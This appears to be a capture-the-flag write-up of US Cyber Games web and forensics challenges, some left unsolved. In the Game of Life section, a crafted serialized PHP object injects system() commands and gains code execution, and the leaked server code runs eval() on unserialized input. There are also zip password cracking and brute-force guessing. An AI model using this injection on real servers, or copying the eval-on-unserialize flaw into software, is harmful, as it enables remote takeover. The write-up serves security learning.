Competition
Web
Game of Life
Having fun hacking and want a break? Why not play a little game? The Game of Life is a fun diversion you can use to simulate all sorts of interesting cellular structures. Maybe you'll find something else...
Looking at the sources, we can see a file called game.js
that contains the game's logic. The actual HTML contains some code detailing the server-side interface:
<div id="game_bar">
<button id="play_button">Stop</button>
<button id="reset_button">Reset</button>
<div style="font-size:0.8em; margin-left:10px; display:inline">Live Cells: <span id="live_count">12</span></div>
<form action="/" method="POST" id="saveForm" style="float:right">
<input type="hidden" name="saveData" value="">
<button id="save_button" disabled="disabled">Save</button>
</form>
<form action="/" method="POST" id="loadForm" style="float:right" enctype="multipart/form-data">
<input type="file" id="loadFile" name="loadFile" style="display:none">
<button id="load_button" disabled="disabled">Load</button>
</form>
</div>
Save
downloads a file via a POST request to the server, and Load
uploads a local save file to the server. The saveData
parameter is a base64-encoded string of the game's state, and the loadFile
parameter is a file containing the same data. The game state is stored in a 2D array of 1s and 0s, where 1 represents a live cell and 0 represents a dead cell.
Whenever I made a save file that was the base64-encoded version of a board that was completely full of live cells and attempted to load it, I got the following error on the page:
Warning: gzuncompress(): data error in /var/www/html/index.php on line 23
Warning: Attempt to read property "board" on bool in /var/www/html/index.php on line 24
Progress! We know the backend is PHP, and we know that it's using gzuncompress
to decompress the data. The error is being thrown because the decompressed data is not a valid PHP object. We can use this to our advantage to get code execution.
The first thing I tried was to create a save file that contained a serialized PHP object that would execute system('ls')
when loaded. I used the following code to generate the serialized object:
<?php
class Game {
public $board = "system('ls')";
}
echo serialize(new Game());
?>
I then base64-encoded the output, compressed it with gzip, and saved it to a file (all from CyberChef). When I tried to load the file, I got the exact same error. Strange...
When I try to visit /index.php
, it just takes me to the same page, meaning this page is SSR'd by PHP and returned with what we see; unfortunately, that means I can't see the code where gzuncompress
is used, or where board
is attempted to be accessed. According to this thread, gzuncompress
is used for the zlib
format, whereas gzdecode
would be used for gzip
-wrapped data. We can try this with the following simple Python script:
import zlib
with open('zlib_compressed_gamesave.gz', 'wb') as f:
compressed = zlib.compress('PD9waHAKY2xhc3MgR2FtZSB7CiAgICBwdWJsaWMgJGJvYXJkID0gInN5c3RlbSgnbHMnKSI7Cn0KZWNobyBzZXJpYWxpemUobmV3IEdhbWUoKSk7Cj8+'.encode())
f.write(compressed)
When I used that, I got a new error:
Notice: unserialize(): Error at offset 0 of 116 bytes in /var/www/html/index.php on line 23
Warning: Attempt to read property "board" on bool in /var/www/html/index.php on line 24
I ran the URL through https://whatcms.org and it informed me that the server is using PHP version 8.2.6, which was released on 11MAY2023 (less than a month earlier), so there aren't any known vulnerabilities in the actual language's code yet. Opening a save file from the actual site shows that it's binary, and trying to decompress it in Linux failed; using the file
command told us that it is zlib compressed data
, so we can use pig (source) to try decompressing an instance of the file:
$ pigz -d < test_save.golsave > uncompressed_save.txt
$ cat uncompressed_save.txt
O:7:"GOLSave":2:{s:4:"hook";s:31:"//todo - add php callback hooks";s:5:"board";a:80:{i:0;a:50:{i:0;i:0;i:1;i:0;i:2;i:0;i:3;i:0;i:4;i:0;i:5;i:0;i:6;i:0;i:7;i:0;i:8;i:0;i:9;i:0;i:10;i:0;i:11;i:0;i:12
...
We can see that the data is a serialized PHP object, so we can use the following code to generate a serialized object that will execute system('ls')
when loaded:
echo system('ls');
We can change the leading parameter to 18, the length of the string, and deflate it into zlib via CyberChef. Uploading it to the server is a success!
Then we can change the command to system('cat index.php')
to see what code is being executed, which gives the following:
hook = "//todo - add php callback hooks"; $this->board = $boardData; } function __wakeup(){ if (isset($this->hook)) eval($this->hook); } } $loadedBoard = false; if(isset($_POST)) { if(isset($_FILES['loadFile'])) { $compressed = file_get_contents($_FILES['loadFile']['tmp_name']); $save = unserialize(gzuncompress($compressed)); $loadedBoard = $save->board; } else if(isset($_POST["saveData"])){ $board = json_decode(base64_decode($_POST["saveData"])); $save = new GOLSave($board); $export = gzcompress(serialize($save)); header('Content-Type: application/octet-stream'); header("Content-Transfer-Encoding: Binary"); header("Content-disposition: attachment; filename=\"".uniqid().".golsave\""); echo($export); exit(); } } ?>
Nothing really interesting there, so I checked out the static folder and it's the folders we already knew about: css
and js
. Looking in both of those, we only see the files we knew about before as well. So I decided to look in the root dir, and lo-and-behold, flag.txt
! So we can read it with cat
and solve the challenge.
Answer: USCG{th3_f1ag5_4r3_l1f3}
; 430 points
Vault
Vagabond Vault is the newest place where hackers can post their stolen data and other illicit downloads. They seem to be using some sort of distributed setup that allows them to quickly recover when a frontend server is taken down. See what you can do to uncover the secrets behind this nefarious site!
https://vault-w7vmh474ha-uc.a.run.app/
All the app is is a frontend to download an encrypted ZIP file that contains the flag:
$(document).ready(function() {
$(".download").click(function(e) {
e.preventDefault();
fetch('/download',{
method:"POST",
headers:{"x-vault-server":"backend.vault.uscg:9999/download"},
body:JSON.stringify({filename:$(this).data("filename")})
})
.then(resp => {
if(!resp.ok) {
alert("Sorry, an error occurred while fetching your download.");
throw new Error("HTTP status " + response.status);
}
return resp.blob();
})
.then(blob => {
const url = window.URL.createObjectURL(blob);
$("#tmp_a").attr("href",url);
$("#tmp_a").attr("download",$(this).data("filename"));
$("#tmp_a")[0].click()
window.URL.revokeObjectURL(url);
})
.catch((e) => console.log(e));
});
});
But this is a web challenge, which tells me there's probably a better method to solve it than brute forcing the archive. Just for shits and giggles, I went ahead and started running that while I look for other methods:
$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt corporate_secrets.zip
Of course that failed, but it was worth a shot. We can make cURL
requests to the server if need be, to bypass the GUI entirely:
curl -X POST \
-H "Content-Type: application/json" \
-H "x-vault-server: backend.vault.uscg:9999/download" \
-d '{"filename": "leakz.zip"}' \
https://vault-w7vmh474ha-uc.a.run.app/download --output vault_download.zip
Of course, this still just downloads the password-protected archive for now.
Hire-A-Hacker
As malware infections are on the rise around the world, more and more hacker operations are becoming like businesses and offering their services to unscrupulous individuals who are willing to pay a cut to hurt their competitors. One such group has now launched an official "Hire-A-Hacker" website where customers can come to purchase these services. Maybe you can uncover some hidden information to help shut them down?
https://hire-a-hacker-w7vmh474ha-uc.a.run.app/
The JavaScript embedded in the page has the following:
$(document).ready(function () {
var search = $('#search_table').DataTable({
processing: true,
serverSide: true,
ajax: '/api/search',
});
$.fn.dataTable.ext.errMode = 'none';
search.on( 'error.dt', function (e, settings, techNote, message ) {
console.log(message);
});
search.on( 'draw.dt', function () {
$(".contact").click(function(){
$.post("/api/contact",{"id":$(this).data("id"),function(){
alert("Thanks for your interest. Don't worry about providing more info. We'll reach out soon...");
}});
});
});
});
Simply clicking on the indicator for the first page sends a request to the following endpoint:
https://hire-a-hacker-w7vmh474ha-uc.a.run.app/api/search?draw=4&columns[0][data]=0&columns[0][name]=&columns[0][searchable]=true&columns[0][orderable]=true&columns[0][search][value]=&columns[0][search][regex]=false&columns[1][data]=1&columns[1][name]=&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2][searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=3&columns[3][name]=&columns[3][searchable]=true&columns[3][orderable]=true&columns[3][search][value]=&columns[3][search][regex]=false&columns[4][data]=4&columns[4][name]=&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search][value]=&columns[4][search][regex]=false&order[0][column]=0&order[0][dir]=asc&start=0&length=10&search[value]=&search[regex]=false&_=1686151899619
And the response is formatted like so:
{"data":[["Abahri Ramirez","Web","Forked River, NJ","$248.74 / Hr","<button type='button' class='contact btn btn-primary' data-hackerid='670'>Request Info</button>"],["Abra Ware","Ransomware","Carlisle, SC","$981.02 / Hr","<button type='button' class='contact btn btn-primary' data-hackerid='677'>Request Info</button>"],["Achamma Avery","OSINT","Vidalia, GA","$470.3 / Hr","<button type='button' class='contact btn btn-primary' data-hackerid='558'>Request Info</button>"],["Action Lewis","Social Engineering","Plover, WI","$969.27 / Hr","<button type='button' class='contact btn btn-primary' data-hackerid='839'>Request Info</button>"],["Adah Christian","Hardware","Rome, NY","$239.16 / Hr","<button type='button' class='contact btn btn-primary' data-hackerid='979'>Request Info</button>"],["Addilyn Coleman","OSINT","Rhododendron, OR","$766.04 / Hr","<button type='button' class='contact btn btn-primary' data-hackerid='540'>Request Info</button>"],["Adelle Gibson","Social Engineering","Orono, ME","$674.59 / Hr","<button type='button' class='contact btn btn-primary' data-hackerid='399'>Request Info</button>"],["Adelle Myers","Ransomware","Meherrin, VA","$242.09 / Hr","<button type='button' class='contact btn btn-primary' data-hackerid='18'>Request Info</button>"],["Adey Guerra","OSINT","Chambersburg, PA","$692.82 / Hr","<button type='button' class='contact btn btn-primary' data-hackerid='155'>Request Info</button>"],["Adrian Gilbert","Network Intrusion","Miami, FL","$563.01 / Hr","<button type='button' class='contact btn btn-primary' data-hackerid='205'>Request Info</button>"]],"draw":"4","recordsFiltered":1000,"recordsTotal":1000}
This indicates server-side rendering (as well as serverSide
in the DataTable
function), since actual HTML is returned instead of being generated on the client. The Request Info
button sends a POST request with function=
as the form body to the /api/contact
endpoint. The draw
parameter is a one-up increment of the previous request, and therecordsTotal
parameters indicates that there are 1000 entries in the database, of which recordsFiltered
are returned.
The jQuery plugin being used to render the table is DataTables, and in this case the library version in use is 1.13.4
, paired with a jQuery version of 3.5.1
. The DataTables lib is the latest version, the jQuery version is very close to the latest (3.6.0
).
Assembly
The Edison car company is trying to get their newest model to market ASAP but hackers hired by a rival manufacturer have apparently broken in and disabled several of the parts of the assembly line. Can you investigate and see if they left anything behind?
https://assembly-w7vmh474ha-uc.a.run.app/
The page is using WebAssembly, called from this embedded JavaScript:
function hmiRequest(msg){
const requestOptions = {
method: 'POST',
body: msg
};
fetch('/api/modbus', requestOptions)
.then(response => response.text())
.then( data => {
handleResponse(data);
})
.catch(error => {});
}
function setDeviceStatus(idx,status) {
if (status == 1) {
$("#system-"+idx).removeClass("btn-secondary");
$("#system-"+idx).removeClass("btn-danger");
$("#system-"+idx).addClass("btn-success");
} else {
$("#system-"+idx).removeClass("btn-secondary");
$("#system-"+idx).removeClass("btn-success");
$("#system-"+idx).addClass("btn-danger");
}
console.log("[INFO] Device "+idx+" status: " + (status == 1 ? "UP" : "DOWN"));
}
const go = new Go();
WebAssembly.instantiateStreaming(fetch('main.wasm'), go.importObject).then(result => {
go.run(result.instance);
});
There is also a wasm.exec
file imported in the document head.
The Final Countdown
The US Cyber Games program has decided to celebrate the final 24 hours of the competition with a little flag lottery. However, the odds seem just about impossible! Maybe you can find a way to game the system and win the prize!
https://uscybercombine-countdown.chals.io/
The page is using the Javascript in lottery.js. I sent up a request manually with the following:
const requestOptions = {
method: 'POST',
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({guess:4}),
};
fetch('/api/guess', requestOptions)
.then(response => response.json())
.then( data => {
console.log("Data:", data)
});
But it failed with the JSON {fail: 'Sorry, better luck next time!'}
. So since we have 30 seconds to guess, I wrote a quick script to brute force it, but it resulted in a lot of ERR_INSUFFICIENT_RESOURCES
responses and crashed my browser if not.
Invalid input is a no-go, anything that's not a number (including hex and octal) returns Invalid Number Given
.
WhatCMS tells us that the backend is Python and the web server is gunicorn
.
Forensics
Table Tennis
We found network traffic of someone playing table tennis over the internet. Take a look and see if you can find anything nefarious here.
Following the entire TCP stream in Wireshark, we can see that it's a 340 byte conversation of back and forth ping
and pong
; 67 turns, 34 client packets and 34 server packets.
The flags are uniform across the board in the back and forth messages, so those aren't hiding any data. Checking for LSB data smuggling didn't yield anything of interest. One thing interesting is the window size outbound from 172.48.23.115:4444
is always 512, whereas it's variable in the returned response each time. Since the window is specifying the number of bytes that the sender is willing to receive (source), this could be a clue.
The window size in the packets from 192.168.0.1:52816
is different from the following tshark
command than it is in the Wireshark GUI:
tshark -r ./table_tennis.pcap -Y "tcp" -T fields -e tcp.window_size
According to this, the difference may be due to the window_size
value being the calculated window size, as opposed to the raw window size specified in the TCP header. We can change that by switching to the tcp.window_size_value
field:
tshark -r ./table_tennis.pcap -Y "tcp" -T fields -e tcp.window_size_value
Which then results in the same output seen in the GUI. Then this can be filtered down to only the traffic from the local IP, and we can optionally display the corresponding packet number with -e frame.number
to get a better context of the output:
tshark -r ./table_tennis.pcap -Y "ip.src==192.168.0.1 and tcp" -T fields -e tcp.window_size_value
There wasn't a discernable pattern in the output, so I tried mushing it all together and deciphering it as base64 or hex:
tshark -r ./table_tennis.pcap -Y "ip.src==192.168.0.1 and tcp" -T fields -e tcp.window_size_value | tr -d '\n'
But neither was correct. Then I tried filtering out the 512
values just in case that was throwing things off:
tshark -r ./table_tennis.pcap -Y "ip.src==192.168.0.1 and tcp and tcp.window_size_value!=512" -T fields -e tcp.window_size_value | tr -d '\n'
But again, no dice. Once more this was tried with also removing values of 10
, but the result remained illegible via all conventional decryption methods.
Looking back at the Wireshark GUI, I can see that the hex that is storing the window size as numbers can actually be converted to real characters as well. I do that with the following command:
tshark -r table_tennis.pcap -Y "ip.src==192.168.0.1 and tcp" -T fields -e frame.number -e tcp.window_size -E header=y -E separator=, -E quote=d | awk -F, '{ printf "%s,%d,%s\n", $1, $2, sprintf("%#x", $2) }'
No dice. Eventually I was able to get it working with the following tshark command:
tshark -r table_tennis.pcap -Y "ip.src == 192.168.0.1 && tcp.srcport == 52816" -T fields -e tcp.window_size_value > output.txt
Followed by this Python script:
import codecs
# Open the text file
with open('output.txt', 'r') as f:
# Loop over each line in the file
for line in f:
# Get the window size value
window_size_value = int(line.strip())
# Convert the window size value to hexadecimal
hex_value = hex(window_size_value)[2:] # Remove the '0x' prefix
# Pad the hexadecimal string with a leading zero if it has an odd number of digits
if len(hex_value) % 2 != 0:
hex_value = '0' + hex_value
# Convert the hexadecimal value to ASCII, ignoring errors
ascii_value = codecs.decode(hex_value, 'hex').decode('ascii', 'ignore')
# Print the ASCII value
print(ascii_value)
Then copy all the relevant bytes, remove the new line characters, and decode as base64!
Answer: uscg{L0ok1nG_thr0ugH_Th3_w1nDoW}
; 100 points
Semaphore
Bob's Donut Factory has suspected for a while that competitors have been sending hackers into the facility to try to gain access to their precious secrets recipes. The SOC capture some suspicious traffic coming from a workstation going to a smart thermostat of all places. The compromised thermostat has been shut down to prevent it being used as a pivot point but we'd like to know what message, if any, was sent to the outside.
All of the traffic in the capture is to destination port 1337 of 10.10.0.99
, from a RHP of 10.10.0.180
. This means that the .99
IP must belong to the smart thermostat, which could be being used as a means of data exfil.
Since there is a lot of diversity in the flags displayed across the messages, I thought there may be some data stored in the hex values. This is how I extracted only the significant information about the flags from the PCAP:
tshark -r semaphore.pcap -T fields -e tcp.flags | rev | cut -c 1-2 | rev | tr -d '\n'
And believe it or not, that was right! This is the output:
Good afternoon, crew! We are nearing our mission objective of stealing the secret recipe for our client. We've had several setbacks but should be able to exfiltrate it out of the secure network soon. The weather has been pretty nice here. Anyone do anything fun this weekend? Oh, before I forget, the flag is: USCG{s3map4h0r3_tcp_f1ag5}
Answer: USCG{s3map4h0r3_tcp_f1ag5}
; 331 points
Rumble In The Jumble
We've received an important executable file from a company that were victims of a ransomware attack. It appears that the file is all jumble up but we can't quite figure out how! If you are somehow able to recover the file I'm sure you'll be rewarded! (With a flag)
Running strings
on the file showed what is obviously in the format of the flag, but it's all jumbled up:
Dnnj Fnb! Pom krlf de: TNCD{k1q3j_wo3_uzg8r35}
Looking at the sentence structure, I think the plaintext words are Good Job! The flag is: USCG{}
, we can begin to make a key:
-
D
->G
-
n
->o
-
j
->d
-
F
->J
-
b
->b
-
P
->T
-
o
->h
-
m
->e
-
k
->f
-
r
->l
-
l
->a
-
f
->g
-
d
->i
-
e
->s
-
T
->U
-
N
->S
-
C
->C
Applying all those rules gets us to here:
Good Job! The flag is: USCG{f1q3d_wh3_uzg8l35}
Which is closer, but not the final answer. I know the numbers don't change, thanks to the version numbers found on another line; so I'm going to use what I know about the typical output of a
strings
command to make some more rules:.comment
-
t
->c
-
g
->m
-
x
->n
-
w
->t
.got.alt
-
a
->p
.dynamic
-
i
->y
.fini_array
-
c
->r
text
-
q
->x
.gnu.version_r
-
z
->u
-
p
->v
.note.ABI-tag
-
L
->A
-
J
->B
-
W
->I
__cxa_finalize@GLIBC_2.2.5
-
y
->z
-
Q
->L
_ITM_registerTMCloneTable
-
K
->M
__TMC_END__
-
M
->E
-
R
->N
-
S
->D
_IO_stdin_used
-
B
->O
_GLOBAL_OFFSET_TABLE_
-
A
->F
__GNU_EH_FRAME_HDR
-
H
->R
-
I
->H
I wrote up a Python script that will enforce all these rules for us in substitution_cipher.py
, and running it with the following:
$ strings jumble | python3 substitution_cipher.py
Gives the answer!
Answer: USCG{f1x3d_th3_jum8l35}
; 356 points
Out of Reach
Can you find the flag just out of reach?
Filtering through the strings with strings out_of_reach.pdf -n 13
gives us some decent output, which can be seen here. We can see the PDF's image if we scroll up far enough, but it's base64-encoded. We can see that it is meant to be 256 pixels wide and 212 pixels tall, in the JPEG format; the creator Matt Kinmon
used Adobe Illustrator 27.5, and made the image at 5/26/2023 11:35 AM
. The file was at D:\Downloads\_web_nativeplantwalk_camillacerea_-1-of-1.jpg
. Once we decode the base64 data and try to open the image, we get an error:
Error interpreting JPEG image file (Unsupported marker type 0xb8)
Running the file
command gives the following:
pdf_image.jpg: JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16
There is a lot of information returned from exiftool
:
ExifTool Version Number : 11.88
File Name : out_of_reach.pdf
Directory : .
File Size : 9.1 MB
File Modification Date/Time : 2023:06:07 15:53:57-04:00
File Access Date/Time : 2023:06:07 15:54:18-04:00
File Inode Change Date/Time : 2023:06:07 15:53:57-04:00
File Permissions : rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.6
Linearized : No
XMP Toolkit : Adobe XMP Core 9.1-c001 79.a8d4753, 2023/03/23-08:56:37
Format : application/pdf
Title : Untitled-1
Metadata Date : 2023:05:26 11:35:56-05:00
Modify Date : 2023:05:26 11:35:56-05:00
Create Date : 2023:05:26 11:35:56-05:00
Creator Tool : Adobe Illustrator 27.5 (Windows)
Thumbnail Width : 256
Thumbnail Height : 212
Thumbnail Format : JPEG
Thumbnail Image : (Binary data 19351 bytes, use -b option to extract)
Instance ID : uuid:43b00883-59b3-4c50-8963-46621313bd29
Document ID : xmp.did:01f06b1c-838b-3a41-a826-b582859a656e
Original Document ID : uuid:5D20892493BFDB11914A8590D31508C8
Rendition Class : proof:pdf
Derived From Instance ID : uuid:c9914b06-205d-4060-b620-fae57f2f5102
Derived From Document ID : xmp.did:526773d2-a98f-654f-bf01-cbbe9b3a6f9d
Derived From Original Document ID: uuid:5D20892493BFDB11914A8590D31508C8
Derived From Rendition Class : proof:pdf
Manifest Link Form : EmbedByReference
Manifest Reference File Path : D:\Downloads\_web_nativeplantwalk_camillacerea_-1-of-1.jpg
Manifest Reference Document ID : 0
Manifest Reference Instance ID : 0
Ingredients File Path : D:\Downloads\_web_nativeplantwalk_camillacerea_-1-of-1.jpg
Ingredients Document ID : 0
Ingredients Instance ID : 0
History Action : saved
History Instance ID : xmp.iid:01f06b1c-838b-3a41-a826-b582859a656e
History When : 2023:05:26 11:35:50-05:00
History Software Agent : Adobe Illustrator 27.5 (Windows)
History Changed : /
Startup Profile : Print
Creator Sub Tool : Adobe Illustrator
Has Visible Overprint : False
Has Visible Transparency : False
N Pages : 1
Max Page Size W : 612.000000
Max Page Size H : 792.000000
Max Page Size Unit : Points
Font Name : MyriadPro-Regular
Font Family : Myriad Pro
Font Face : Regular
Font Type : Open Type
Font Version : Version 2.106;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329
Font Composite : False
Font File Name : MyriadPro-Regular.otf
Plate Names : Cyan, Magenta, Yellow, Black
Swatch Group Name : Default Swatch Group, Grays, Brights
Swatch Group Type : 0, 1, 1
Swatch Colorant Swatch Name : White, Black, CMYK Red, CMYK Yellow, CMYK Green, CMYK Cyan, CMYK Blue, CMYK Magenta, C=15 M=100 Y=90 K=10, C=0 M=90 Y=85 K=0, C=0 M=80 Y=95 K=0, C=0 M=50 Y=100 K=0, C=0 M=35 Y=85 K=0, C=5 M=0 Y=90 K=0, C=20 M=0 Y=100 K=0, C=50 M=0 Y=100 K=0, C=75 M=0 Y=100 K=0, C=85 M=10 Y=100 K=10, C=90 M=30 Y=95 K=30, C=75 M=0 Y=75 K=0, C=80 M=10 Y=45 K=0, C=70 M=15 Y=0 K=0, C=85 M=50 Y=0 K=0, C=100 M=95 Y=5 K=0, C=100 M=100 Y=25 K=25, C=75 M=100 Y=0 K=0, C=50 M=100 Y=0 K=0, C=35 M=100 Y=35 K=10, C=10 M=100 Y=50 K=0, C=0 M=95Y=20 K=0, C=25 M=25 Y=40 K=0, C=40 M=45 Y=50 K=5, C=50 M=50 Y=60 K=25, C=55 M=60 Y=65 K=40, C=25 M=40 Y=65 K=0, C=30 M=50 Y=75 K=10, C=35 M=60 Y=80 K=25, C=40 M=65 Y=90 K=35, C=40 M=70 Y=100 K=50, C=50 M=70 Y=80 K=70, C=0 M=0 Y=0 K=100, C=0 M=0 Y=0 K=90, C=0 M=0 Y=0 K=80, C=0 M=0 Y=0 K=70, C=0 M=0 Y=0 K=60, C=0 M=0 Y=0 K=50, C=0 M=0 Y=0 K=40, C=0 M=0 Y=0 K=30, C=0 M=0 Y=0 K=20, C=0 M=0 Y=0 K=10, C=0 M=0 Y=0 K=5, C=0 M=100 Y=100 K=0, C=0 M=75 Y=100 K=0, C=0 M=10 Y=95 K=0, C=85 M=10 Y=100 K=0, C=100 M=90 Y=0 K=0, C=60 M=90 Y=0 K=0
Swatch Colorant Mode : CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK, CMYK
Swatch Colorant Type : PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS,PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS, PROCESS
Swatch Colorant Cyan : 0.000000, 0.000000, 0.000000, 0.000000, 100.000000, 100.000000, 100.000000, 0.000000, 15.000000, 0.000000, 0.000000, 0.000000, 0.000000, 5.000000, 20.000000, 50.000000, 75.000000, 85.000000, 90.000000, 75.000000, 80.000000, 70.000000, 85.000000, 100.000000, 100.000000, 75.000000, 50.000000, 35.000000, 10.000000, 0.000000, 25.000000, 40.000000, 50.000000, 55.000000, 25.000000, 30.000000, 35.000000, 40.000000, 40.000000, 50.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 85.000000, 100.000000, 60.000000
Swatch Colorant Magenta : 0.000000, 0.000000, 100.000000, 0.000000, 0.000000, 0.000000, 100.000000, 100.000000, 100.000000, 90.000000, 80.000000, 50.000000, 35.000000, 0.000000, 0.000000, 0.000000, 0.000000, 10.000000, 30.000000, 0.000000, 10.000000, 15.000000, 50.000000, 95.000000, 100.000000, 100.000000, 100.000000, 100.000000, 100.000000, 95.000000, 25.000000, 45.000000, 50.000000, 60.000000, 40.000000, 50.000000, 60.000000, 65.000000, 70.000000, 70.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 100.000000, 75.000000, 10.000000, 10.000000, 90.000000, 90.000000
Swatch Colorant Yellow : 0.000000, 0.000000, 100.000000, 100.000000, 100.000000, 0.000000, 0.000000, 0.000000, 90.000000, 85.000000, 95.000000, 100.000000, 85.000000, 90.000000, 100.000000, 100.000000, 100.000000, 100.000000, 95.000000, 75.000000, 45.000000, 0.000000, 0.000000, 5.000000, 25.000000, 0.000000, 0.000000, 35.000000, 50.000000, 20.000000, 40.000000, 50.000000, 60.000000, 65.000000, 65.000000, 75.000000, 80.000000, 90.000000, 100.000000, 80.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 100.000000, 100.000000, 95.000000, 100.000000, 0.000000, 0.003100
Swatch Colorant Black : 0.000000, 100.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 10.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 10.000000, 30.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 25.000000, 0.000000, 0.000000, 10.000000, 0.000000,0.000000, 0.000000, 5.000000, 25.000000, 40.000000, 0.000000, 10.000000, 25.000000, 35.000000, 50.000000, 70.000000, 100.000000, 89.999400, 79.998800, 69.999700, 59.999100, 50.000000, 39.999400, 29.998800, 19.999700, 9.999100, 4.998800, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.003100
Producer : Adobe PDF library 17.00
Page Count : 1
Creator : Adobe Illustrator(R) 24.0
AI Creator Version : 27.5.0
For : Matt Kinmon,
Bounding Box : 20 -429 592 44
AI Build Number : 695
AI Color Usage : Color
AI Ruler Units : Points
AI Color Model : CMYK
AI Target Resolution : 800
AI Num Layers : 1
Container Version : 12
Creator Version : 27
If I look up the file name, I can see that the embedded image was originally posted on flickr, and it is also visible on cyfrowe.pl. The person in question, Matt Kinmon, can be seen on the CYBER.ORG website:
But this is a forensics challenge, not OSINT, so it's entirely irrelevant. My friend 0xN1ghtStalker
recommended that I use the PDF-specific tradecraft pdf-parser
, which can be installed like so:
git clone https://gitlab.com/kalilinux/packages/pdf-parser
cd pdf-parser
python3 pdf-parser.py out_of_reach.pdf -f > out_of_reach_parsed_pdf.log
I tried running the output file through CyberChef's "Extract Files" operation, but all the results were false positices and I didn't get anything useful from it.
The Joy of MSPainting
In the middle of creating an amazing graphic using MS Paint, there was a crash. Investigate the file provided.
Flag Format: uscg{SECRET HERE}
Using strings mspaint.DMP -n 7 | less
found the following interesting pieces of info:
- COMPUTERNAME=GILGAMESH
- TEMP=C:\Users\jonat\AppData\Local\Temp
- OneDriveCommercial=C:\Users\jonat\OneDrive - Cyber Innovation Center
But there was far too much to parse through by hand. Trying to search for the secret
key word was unsuccessful:
$ strings mspaint.DMP -n 9 | grep secret -a3 -b3
4094420-onecore\ds\security\cryptoapi\ncrypt\kdf\hkdf.c
4094468-onecore\ds\security\cryptoapi\ncrypt\kdf\tlskdf.c
4094518-onecore\ds\security\cryptoapi\ncrypt\kdf\sp800_56a.c
4094571:onecore\ds\security\cryptoapi\ncrypt\msprim\common\secret.c
4094631-onecore\ds\security\cryptoapi\ncrypt\kdf\tls1.c
4094679-STATUS_NO_MEMORY
4094696-onecore\ds\security\cryptoapi\ncrypt\kdf\truncate.c
--
4947878-CThreadStack::GetCurrentProcessDefaultStackCommit
4947928-onecore\com\combase\common\core\containersynchronization.cpp
4947989-onecore\internal\sdk\inc\wil\resource.h
4948029:onecore\com\combase\common\private\secret.cxx
4948075-onecore\com\combase\common\private\comblob.cpp
4948122-GetTokenSecurityAttributeInformation
4948159-ProcessToken::GetProcessToken
I then tried to use Volatility to parse over the memory dump, but it wasn't working without knowing the proper version of Windows 10. I tried to find it with strings:
strings mspaint.DMP | grep -i version
But was unable to determine the version. I tried a different method and got multiple results:
strings mspaint.DMP | grep -P -C 2 'Windows \d+'
But unfortunately they were all false positives. Didn't get any hits looking for 10.0
either. I tried to determine the version by inspecting the file with Volatility, but it failed:
# vol.py -f mspaint.DMP --profile=Win10x64 pslist
$ vol.py -f mspaint.DMP imageinfo
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : No suggestion (Instantiated with no profile)
AS Layer1 : FileAddressSpace (mspaint.DMP)
PAE type : No PAE
Trying to run pslist
while specifying --profile=
as Win10x64
, Win7SP0x64
, and Win7SP1x64
failed with No suitable address space mapping found
; trying all the profiles at https://github.com/volatilityfoundation/volatility/wiki/2.6-Win-Profiles still didn't work.
I gave up on that and decided to look for alternative tradecraft, at the suggestion of my friend 0xN1ghtStalker, and this blog post proved to be very pertinent. Since I was having issues getting Volatility to work, I decided to try binwalk
on the memory dumps to see if we could discover the offsets of the RAW photo data to load up in GIMP (output here). Seeing a lot of potentially useful tidbits, I then tried the following to browse the identified files:
binwalk --extract ./mspaint.DMP
But this only got me a bunch of invalid binaries and .zlib
files, no images. Doing some research revealed that it was because the files likely didn't have complete headers, so we have to specify that we want binwalk
to extract ALL encountered files (source):
binwalk --dd=".*" ./mspaint.DMP
This was also a dead end, as none of the images were valid. My friend then suggested changing the file extension to .data
. Once I did, I tried opening with a variety of programs, and found that the one that worked is GIMP:
Since this obviously isn't the flag, I needed to dig deeper. The default initial size in MS Paint is 1152x648
, with a color scheme of RGB-A due to the PNG format, so I switched the settings to there in case it would make something obvious:
I messed around with the offset a few numbers and didn't see anything crazy, but going through the slider enough showed me something quite interesting: coordinates!
